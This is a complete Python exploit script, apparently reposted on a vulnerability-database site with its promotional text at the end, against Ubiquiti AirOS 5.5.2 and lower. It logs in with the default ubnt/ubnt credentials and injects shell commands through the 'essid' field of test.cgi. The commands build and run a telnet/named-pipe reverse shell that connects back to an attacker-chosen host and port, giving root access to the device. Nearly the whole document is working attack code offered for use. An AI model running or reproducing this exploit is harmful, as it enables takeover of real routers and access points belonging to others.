#!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution
# Date : 12-28-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : http://www.ubnt.com/eula/?BACK=/downloads/XM-v5.5.2.build14175.bin
# Vendor site : http://www.ubnt.com/
# Version : 5.5.2 and lower
# Tested on : PicoStation M2 (hardware)
#
# Vulnerability : The http://<IP>/test.cgi "essid" parameter is not sanitized for input which allows for execution of operating
# system commands. The parameter input field can be like this to create a file /tmp/test.txt:
# "LINKTEST & /bin/touch /tmp/test.txt #"
# Authentication to the web site is necessary to exploit this vulnerability.
#+--------------------------------------------------------------------------------------------------------------------------------+
import urllib, urllib2, cookielib, sys, random, mimetools, mimetypes, itertools, time
print ""
print "[*] Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution - xistence (xistence<[at]>0x90.nl) - 2012-12-28"
print ""
if (len(sys.argv) != 4):
print "[*] Usage: " + sys.argv[0] + " <rhost> <lhost> <lport>"
print ""
exit(0)
rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
webUser = "ubnt"
webPass = "ubnt"
# Create a random file with 8 characters
filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8):
filename+=i
filename +=".sh"
shellCmd = '& echo "mknod /tmp/backpipe p ; telnet ' + lhost + ' ' + lport + ' 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe ; rm -rf /tmp/backpipe ; rm -rf /tmp/' + filename + '" > /tmp/' + filename + ' ; chmod +x /tmp/' + filename + ' ; /bin/sh /tmp/' + filename + ' #'
class MultiPartForm(object):
"""Accumulate the data to be used when posting a form."""
def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return
def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary
def add_field(self, name, value):
"""Add a simple field to the form data."""
self.form_fields.append( ( name, value ) )
return
def __str__(self):
"""Return a string representing the form data, including attached files."""
# Build a list of lists, each containing "lines" of the
# request. Each part is separated by a boundary string.
# Once the list is built, return a string where each
# line is separated by '\r\n'.
parts = []
part_boundary = '--' + self.boundary
# Add the form fields
parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)
# Flatten the list and add closing boundary marker,
# then return CR+LF separated data
flattened = list( itertools.chain( *parts) )
flattened.append( '--' + self.boundary + '--' )
flattened.append( '' )
return '\r\n'.join( flattened )
# Create the form with simple fields
form = MultiPartForm()
form.add_field( 'uri', '' )
form.add_field( 'username', webUser )
form.add_field( 'password', webPass )
form2 = MultiPartForm()
form2.add_field( 'essid', 'LINKTEST ' + shellCmd )
form2.add_field( 'channel', '2412' )
form2.add_field( 'rssithresh', '13' )
form2.add_field( 'file_url', '' )
form2.add_field( 'action', 'test' )
# Our Cookie Jar
cj = cookielib.CookieJar()
opener = urllib2.build_opener( urllib2.HTTPCookieProcessor( cj ) )
# Just open the default url to grab the cookies and put them in the jar
print "[+] Opening default page [http://%s] to store cookies" % rhost
resp = opener.open( "http://%s" %rhost )
# Create our multi-part body + headers login POST request
print "[+] Logging in with user [%s] and password [%s] at host [%s]" % ( webUser, webPass, rhost )
resp = urllib2.Request( "http://%s/login.cgi" % rhost )
body = str( form )
resp.add_header( 'Content-type', form.get_content_type() )
resp.add_header( 'Content-length', len( body ) )
resp.add_data( body )
request = opener.open( resp ).read()
# Create our multi-part body + headers command execution POST request
print "[+] Executing reverse shell commands [file = /tmp/" + filename + "], this might take up to a minute before a response is received in your netcat shell"
resp = urllib2.Request( "http://%s/test.cgi" % rhost )
body = str( form2 )
resp.add_header( 'Content-type', form2.get_content_type() )
resp.add_header( 'Content-length', len( body ) )
resp.add_data( body )
request = opener.open( resp ).read()
time.sleep(30)
print "[+] Done, check your netcat reverse shell on ip [%s] port [%s]" % ( lhost, lport )Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation